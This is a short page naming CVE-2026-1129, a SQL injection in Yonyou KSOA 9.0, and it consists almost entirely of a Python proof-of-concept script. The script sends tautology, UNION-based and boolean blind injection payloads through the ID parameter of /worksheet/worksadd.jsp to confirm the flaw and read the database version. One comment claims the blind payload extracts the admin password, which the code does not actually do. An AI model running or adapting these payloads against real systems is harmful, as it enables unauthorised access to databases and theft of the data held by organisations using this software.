CVE-2026-1129 用友KSOA 9.0 SQL注入漏洞

# CVE-2026-1129 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /worksheet/worksadd.jsp # Parameter: ID import requests import sys target = "http://target.com/worksheet/worksadd.jsp" # Basic injection test - check if vulnerable payload_vuln = "?ID=1' OR '1'='1" # Union-based injection to extract database version payload_db = "?ID=1' UNION SELECT NULL,@@version,NULL--" # Blind boolean injection to extract admin password payload_blind = "?ID=1' AND 1=1--" def test_vulnerability(): print("[*] Testing CVE-2026-1129 SQL Injection...") try: # Test basic injection response = requests.get(target + payload_vuln, timeout=10) if response.status_code == 200: print("[+] Target appears vulnerable to SQL injection") # Test database version extraction response = requests.get(target + payload_db, timeout=10) if "5." in response.text or "8." in response.text: print("[+] Successfully extracted database version") # Test blind injection response_true = requests.get(target + payload_blind, timeout=10) response_false = requests.get(target + "?ID=1' AND 1=2--", timeout=10) if response_true.status_code != response_false.status_code: print("[+] Blind SQL injection confirmed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": test_vulnerability()